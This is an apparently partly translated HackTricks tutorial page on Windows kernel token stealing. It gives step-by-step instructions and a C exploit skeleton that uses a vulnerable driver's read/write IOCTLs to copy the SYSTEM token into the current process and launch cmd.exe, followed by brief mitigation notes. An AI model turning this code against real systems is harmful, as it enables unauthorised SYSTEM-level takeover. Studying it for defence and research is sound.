Windows kernel EoP: Token stealing with arbitrary kernel R/W
Reading time: 6 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Panoramica
Se un driver vulnerabile espone un IOCTL che dà a un attacker primitive di read e/o write arbitrarie nel kernel, l'elevazione a NT AUTHORITY\SYSTEM può spesso essere ottenuta rubando un access token di SYSTEM. La tecnica copia il Token pointer dall'EPROCESS di un processo SYSTEM nell'EPROCESS del processo corrente.
Perché funziona:
- Ogni processo ha una struttura EPROCESS che contiene (tra gli altri campi) un Token (in realtà un EX_FAST_REF verso un oggetto token).
- Il processo SYSTEM (PID 4) possiede un token con tutti i privilegi abilitati.
- Sostituire l'EPROCESS.Token del processo corrente con il puntatore al token di SYSTEM fa sì che il processo corrente venga eseguito immediatamente come SYSTEM.
Gli offset in EPROCESS variano tra le versioni di Windows. Determinali dinamicamente (simboli) o usa costanti specifiche per la versione. Ricorda inoltre che EPROCESS.Token è un EX_FAST_REF (i 3 bit meno significativi sono flag del conteggio riferimenti).
Passaggi ad alto livello
- Individua la base di ntoskrnl.exe e risolvi l'indirizzo di PsInitialSystemProcess.
- Da user mode, usa NtQuerySystemInformation(SystemModuleInformation) o EnumDeviceDrivers per ottenere le basi dei driver caricati.
- Aggiungi l'offset di PsInitialSystemProcess (da symbols/reversing) alla base del kernel per ottenere il suo indirizzo.
- Leggi il puntatore a PsInitialSystemProcess → questo è un puntatore kernel all'EPROCESS di SYSTEM.
- Dall'EPROCESS di SYSTEM, leggi gli offset di UniqueProcessId e ActiveProcessLinks per attraversare la lista doppiamente collegata di strutture EPROCESS (ActiveProcessLinks.Flink/Blink) fino a trovare l'EPROCESS il cui UniqueProcessId è uguale a GetCurrentProcessId(). Mantieni entrambi:
- EPROCESS_SYSTEM (per SYSTEM)
- EPROCESS_SELF (per il processo corrente)
- Leggi il valore del token di SYSTEM: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
- Maschera i 3 bit bassi: Token_SYS_masked = Token_SYS & ~0xF (comunemente ~0xF o ~0x7 a seconda della build; su x64 i 3 bit meno significativi sono usati — mask 0xFFFFFFFFFFFFFFF8).
- Option A (common): Conserva i 3 bit bassi dal tuo token corrente e agganciali al puntatore di SYSTEM per mantenere coerente il ref count incorporato.
- Token_ME = *(EPROCESS_SELF + TokenOffset)
- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
- Scrivi Token_NEW in (EPROCESS_SELF + TokenOffset) usando la tua primitive di kernel write.
- Il processo corrente è ora SYSTEM. Facoltativamente avvia un nuovo cmd.exe o powershell.exe per confermare.
Pseudocodice
Below is a skeleton that only uses two IOCTLs from a vulnerable driver, one for 8-byte kernel read and one for 8-byte kernel write. Replace with your driver’s interface.
#include <Windows.h>
#include <Psapi.h>
#include <stdint.h>
// Device + IOCTLs are driver-specific
#define DEV_PATH "\\\\.\\VulnDrv"
#define IOCTL_KREAD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
// Version-specific (examples only – resolve per build!)
static const uint32_t Off_EPROCESS_UniquePid = 0x448; // varies
static const uint32_t Off_EPROCESS_Token = 0x4b8; // varies
static const uint32_t Off_EPROCESS_ActiveLinks = 0x448 + 0x8; // often UniquePid+8, varies
BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) {
struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret;
in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE);
}
BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) {
struct { uint64_t addr, val; } in; DWORD ret;
in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL);
}
// Get ntoskrnl base (one option)
uint64_t get_nt_base(void) {
LPVOID drivers[1024]; DWORD cbNeeded;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) {
return (uint64_t)drivers[0]; // first is typically ntoskrnl
}
return 0;
}
int main(void) {
HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (h == INVALID_HANDLE_VALUE) return 1;
// 1) Resolve PsInitialSystemProcess
uint64_t nt = get_nt_base();
uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build
// 2) Read SYSTEM EPROCESS
uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS);
// 3) Walk ActiveProcessLinks to find current EPROCESS
DWORD myPid = GetCurrentProcessId();
uint64_t cur = EPROC_SYS; // list is circular
uint64_t EPROC_ME = 0;
do {
uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid);
if ((DWORD)pid == myPid) { EPROC_ME = cur; break; }
uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink);
cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD
} while (cur != EPROC_SYS);
// 4) Read tokens
uint64_t tok_sys, tok_me;
kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys);
kread_qword(h, EPROC_ME + Off_EPROCESS_Token, &tok_me);
// 5) Mask EX_FAST_REF low bits and splice refcount bits
uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds
uint64_t tok_new = tok_sys_mask | (tok_me & 0x7);
// 6) Write back
kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new);
// 7) We are SYSTEM now
system("cmd.exe");
return 0;
}
Note:
- Offsets: Use WinDbg’s
dt nt!_EPROCESS
with the target’s PDBs, or a runtime symbol loader, to get correct offsets. Do not hardcode blindly. - Mask: Su x64 il token è un EX_FAST_REF; i 3 bit bassi sono bit del conteggio riferimenti. Conservare i bit bassi originali del tuo token evita immediate inconsistenze del conteggio riferimenti.
- Stability: Preferisci elevare il processo corrente; se elevi un helper di breve durata potresti perdere SYSTEM quando termina.
Rilevamento e mitigazione
- Il caricamento di driver di terze parti non firmati o non affidabili che espongono potenti IOCTLs è la causa principale.
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard e le regole Attack Surface Reduction possono impedire il caricamento di driver vulnerabili.
- EDR può monitorare sequenze IOCTL sospette che implementano arbitrary read/write e token swaps.
Riferimenti
- HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft
- FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.